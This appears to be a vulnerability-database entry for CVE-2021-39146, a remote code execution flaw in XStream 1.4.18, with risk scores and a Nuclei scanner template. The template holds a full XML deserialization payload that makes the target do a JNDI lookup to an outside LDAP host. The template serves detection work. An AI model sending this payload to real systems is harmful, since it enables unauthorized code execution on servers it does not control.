8.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
LOW
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
8.9 High
AI Score
Confidence
High
6 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:S/C:P/I:P/A:P
0.274 Low
EPSS
Percentile
96.7%
XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. Setups which followed XStream's security recommendations with an allow-list are not impacted.
id: CVE-2021-39146
info:
name: XStream 1.4.18 - Arbitrary Code Execution
author: pwnhxl
severity: high
description: |
XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. Setups which followed XStream's security recommendations with an allow-list are not impacted.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
remediation: |
Upgrade XStream to a version that is not affected by CVE-2021-39146.
reference:
- https://x-stream.github.io/CVE-2021-39146.html
- https://github.com/x-stream/xstream/security/advisories/GHSA-p8pq-r894-fm8f
- https://security.netapp.com/advisory/ntap-20210923-0003/
- https://nvd.nist.gov/vuln/detail/CVE-2021-39146
- https://lists.debian.org/debian-lts-announce/2021/09/msg00017.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
cvss-score: 8.5
cve-id: CVE-2021-39146
cwe-id: CWE-434
epss-score: 0.27391
epss-percentile: 0.96375
cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: xstream_project
product: xstream
tags: cve2021,cve,xstream,deserialization,rce,xstream_project
http:
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/xml
<sorted-set>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>test</type>
<value class='javax.swing.MultiUIDefaults' serialization='custom'>
<unserializable-parents/>
<hashtable>
<default>
<loadFactor>0.75</loadFactor>
<threshold>525</threshold>
</default>
<int>700</int>
<int>0</int>
</hashtable>
<javax.swing.UIDefaults>
<default>
<defaultLocale>zh_CN</defaultLocale>
<resourceCache/>
</default>
</javax.swing.UIDefaults>
<javax.swing.MultiUIDefaults>
<default>
<tables>
<javax.swing.UIDefaults serialization='custom'>
<unserializable-parents/>
<hashtable>
<default>
<loadFactor>0.75</loadFactor>
<threshold>525</threshold>
</default>
<int>700</int>
<int>1</int>
<string>lazyValue</string>
<javax.swing.UIDefaults_-ProxyLazyValue>
<className>javax.naming.InitialContext</className>
<methodName>doLookup</methodName>
<args>
<string>ldap://{{interactsh-url}}/#evil</string>
</args>
</javax.swing.UIDefaults_-ProxyLazyValue>
</hashtable>
<javax.swing.UIDefaults>
<default>
<defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/>
<resourceCache/>
</default>
</javax.swing.UIDefaults>
</javax.swing.UIDefaults>
</tables>
</default>
</javax.swing.MultiUIDefaults>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
<javax.naming.ldap.Rdn_-RdnEntry>
<type>test</type>
<value class='com.sun.org.apache.xpath.internal.objects.XString'>
<m__obj class='string'>test</m__obj>
</value>
</javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: word
part: body
words:
- "timestamp"
- "com.thoughtworks.xstream"
condition: or
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 500
# digest: 4b0a00483046022100833e5bcb2f394e9487e537025c26bcfbcc2b936b06eb1849e65851e1d44d86da022100b217b08be73723a93bb1293669baa2cb9859cc6954ad0ac642642a99e07df0d8:922c64590222798bb761d5b6d8e72950
8.5 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
LOW
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
8.9 High
AI Score
Confidence
High
6 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:S/C:P/I:P/A:P
0.274 Low
EPSS
Percentile
96.7%